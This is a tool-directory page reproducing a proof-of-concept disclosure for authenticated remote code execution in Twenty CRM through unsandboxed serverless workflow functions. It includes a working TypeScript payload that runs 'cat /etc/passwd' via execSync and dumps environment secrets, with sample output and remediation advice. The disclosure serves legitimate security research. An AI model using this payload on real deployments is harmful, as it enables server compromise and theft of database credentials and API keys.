Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-26720-Twenty-RCE — Proof-of-concept for authenticated remote code execution in Twenty CRM via unsandboxed serverless workflow functions, allowing arbitrary Node.js command execution and environment variable disclosure. | Kitploit
Tools/GitHubGitHub/dillonkirsch/cve-2026-26720-twenty-rce
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationCloud SecurityMisconfiguration
GitHubdillonkirsch/cve-2026-26720-twenty-rce

CVE-2026-26720-Twenty-RCE

Proof-of-concept for authenticated remote code execution in Twenty CRM via unsandboxed serverless workflow functions, allowing arbitrary Node.js command execution and environment variable disclosure.

View Repository
68 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Twenty CRM - Authenticated Remote Code Execution (RCE)

Overview

Product: Twenty CRM

Vulnerability: Remote Code Execution (RCE) via Serverless Workflow Functions

Severity: Critical

Affected Component: Workflow Automation (Code - Serverless Function)

Tested Version: v1.15.0

This repository documents a critical vulnerability in the Twenty CRM workflow engine. The "Code - Serverless Function" component allows authenticated users to execute arbitrary Node.js code. Due to a lack of sandboxing, it is possible to import the child_process module and execute system-level commands on the host server.

Vulnerability Details

The application allows users to create custom automation workflows that include a code execution step. While this is intended for data manipulation, the execution environment does not properly restrict access to Node.js built-in modules or the underlying operating system.

An attacker can utilize execSync from the child_process library to:

  1. Execute shell commands (e.g., cat, , ).
ls
whoami
  • Read sensitive files from the file system (e.g., /etc/passwd).
  • Dump environment variables (process.env), revealing database credentials, API keys, and application secrets.
  • Proof of Concept (PoC)

    Steps to Reproduce

    1. Log in to Twenty CRM.
    2. Navigate to Settings > Workflows.
    3. Create a new Workflow with a Manual Trigger.
    4. Add an action: Code - Serverless Function.
    5. Paste the following TypeScript payload into the code editor:
    root@kitploit:~
    import { execSync } from 'child_process';
    
    export const main = async (params: any): Promise<object> => {
      try {
        // 1. Remote Command Execution: Read system users
        const output = execSync('cat /etc/passwd').toString();
        
        // 2. Information Disclosure: Dump all environment variables (Secrets)
        const secrets = JSON.stringify(process.env);
        
        return { 
          data: output, 
          secrets: secrets 
        };
      } catch (e: any) {
        return { error: e.message };
      }
    };
    
    
    1. Save and Run the workflow.

    Code Overview

    Observed Output

    The workflow executes successfully and returns the system data.

    System File Access (/etc/passwd):

    root@kitploit:~
    root:x:0:0:root:/root:/bin/sh
    bin:x:1:1:bin:/bin:/sbin/nologin
    daemon:x:2:2:daemon:/sbin:/sbin/nologin
    postgres:x:70:70:PostgreSQL user:/var/lib/postgresql:/bin/sh
    ...
    
    

    Environment Variables Leaked: The process.env dump revealed critical configuration details:

    • PG_DATABASE_URL (Database Credentials)
    • APP_SECRET (Signing keys)
    • REDIS_URL
    • AWS_ACCESS_KEY (If configured)

    Impact

    This vulnerability allows an authenticated user (with permissions to create workflows) to achieve Full System Compromise.

    • Confidentiality: Attackers can read all data in the database and file system.
    • Integrity: Attackers can modify application code, delete data, or inject malware.
    • Availability: Attackers can shut down the server or consume all resources.

    Remediation

    To fix this issue, the "Serverless Function" feature requires proper isolation.

    • Implement Sandboxing: Code should be executed in a restricted environment (e.g., a VM2 sandbox, a dedicated Docker container with no network/volume access, or a micro-VM like Firecracker).
    • Restrict Modules: Disable access to sensitive Node.js modules such as child_process, fs, and net.
    • Environment Variable Scrubbing: Ensure the execution context does not inherit the parent process's environment variables (which contain the app's secrets).

    Timeline

    • Jan 8, 2026: Vulnerability discovered.
    • [Date]: Reported to Twenty CRM Security Team.
    • [Status]: Awaiting Patch.
    Download Tool